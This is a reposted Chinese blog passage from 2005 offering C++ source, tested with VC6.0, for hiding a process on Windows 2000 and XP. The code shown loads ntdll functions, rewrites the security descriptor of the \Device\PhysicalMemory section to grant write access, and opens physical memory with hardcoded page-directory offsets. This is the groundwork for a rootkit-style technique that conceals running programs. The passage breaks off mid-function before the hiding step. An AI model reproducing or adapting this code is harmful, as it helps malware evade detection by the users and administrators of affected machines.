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在2000和xp下,隐藏进程,VC6.0测试通过

2005-06-03

转载:http://blog.csdn.net/uoyevoli/services/trackbacks/386210.aspx 头文件: ////////////////////////////////////////HideProcess.hBOOL HideProcess();   CPP源文件:///////////////////////////////////////////

转载:aspx">http://blog.csdn.net/uoyevoli/services/trackbacks/386210.aspx

头文件:

//////////////////////////////////////
//HideProcess.h
BOOL HideProcess();



CPP源文件:
/////////////////////////////////////////////////////////////////////////////
//HideProcess.cpp
#include<windows.h>
#include<Accctrl.h>
#include<Aclapi.h>

#include"HideProcess.h"

#define NT_SUCCESS(Status)((NTSTATUS)(Status) >= 0)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
#define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L)

typedef LONG NTSTATUS;

typedef struct _IO_STATUS_BLOCK
{
NTSTATUS Status;
ULONG Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;

typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

#define OBJ_INHERIT 0x00000002L
#define OBJ_PERMANENT 0x00000010L
#define OBJ_EXCLUSIVE 0x00000020L
#define OBJ_CASE_INSENSITIVE 0x00000040L
#define OBJ_OPENIF 0x00000080L
#define OBJ_OPENLINK 0x00000100L
#define OBJ_KERNEL_HANDLE 0x00000200L
#define OBJ_VALID_ATTRIBUTES 0x000003F2L

typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;

typedef NTSTATUS (CALLBACK* ZWOPENSECTION)(
OUT PHANDLE SectionHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes
);

typedef VOID (CALLBACK* RTLINITUNICODESTRING)(
IN OUT PUNICODE_STRING DestinationString,
IN PCWSTR SourceString
);

RTLINITUNICODESTRING RtlInitUnicodeString;
ZWOPENSECTION ZwOpenSection;
HMODULE g_hNtDLL = NULL;
PVOID g_pMapPhysicalMemory = NULL;
HANDLE g_hMPM = NULL;
OSVERSIONINFO g_osvi;
//---------------------------------------------------------------------------
BOOL InitNTDLL()
{
g_hNtDLL = LoadLibrary("ntdll.dll");

if (NULL == g_hNtDLL)
return FALSE;

RtlInitUnicodeString = (RTLINITUNICODESTRING)GetProcAddress( g_hNtDLL,

"RtlInitUnicodeString");
ZwOpenSection = (ZWOPENSECTION)GetProcAddress( g_hNtDLL, "ZwOpenSection");

return TRUE;
}
//---------------------------------------------------------------------------
VOID CloseNTDLL()
{
if(NULL != g_hNtDLL)
FreeLibrary(g_hNtDLL);

g_hNtDLL = NULL;
}
//---------------------------------------------------------------------------
VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection)
{
PACL pDacl = NULL;
PSECURITY_DESCRIPTOR pSD = NULL;
PACL pNewDacl = NULL;

DWORD dwRes = GetSecurityInfo(hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL,

NULL, &pDacl, NULL, &pSD);

if(ERROR_SUCCESS != dwRes)
{

if(pSD)
LocalFree(pSD);
if(pNewDacl)
LocalFree(pNewDacl);
}

EXPLICIT_ACCESS ea;
RtlZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
ea.grfAccessPermissions = SECTION_MAP_WRITE;
ea.grfAccessMode = GRANT_ACCESS;
ea.grfInheritance= NO_INHERITANCE;
ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;
ea.Trustee.TrusteeType = TRUSTEE_IS_USER;
ea.Trustee.ptstrName = "CURRENT_USER";

dwRes = SetEntriesInAcl(1,&ea,pDacl,&pNewDacl);

if(ERROR_SUCCESS != dwRes)
{

if(pSD)
LocalFree(pSD);
if(pNewDacl)
LocalFree(pNewDacl);
}
dwRes = SetSecurityInfo

(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL);

if(ERROR_SUCCESS != dwRes)
{

if(pSD)
LocalFree(pSD);
if(pNewDacl)
LocalFree(pNewDacl);
}

}
//---------------------------------------------------------------------------

HANDLE OpenPhysicalMemory()
{
NTSTATUS status;
UNICODE_STRING physmemString;
OBJECT_ATTRIBUTES attributes;
ULONG PhyDirectory;

g_osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx (&g_osvi);

if (5 != g_osvi.dwMajorVersion)
return NULL;

switch(g_osvi.dwMinorVersion)
{
case 0:
PhyDirectory = 0x30000;
break; //2k
case 1:
PhyDirectory = 0x39000;
break; //xp
default:
return NULL;
}

RtlInitUnicodeString(&physmemString, L"\Device\PhysicalMemory");

attributes.Length = sizeof(OBJECT_ATTRIBUTES);
attributes.RootDirectory = NULL;
attributes.ObjectName = &physmemString;
attributes.Attributes = 0;
attributes.SecurityDe

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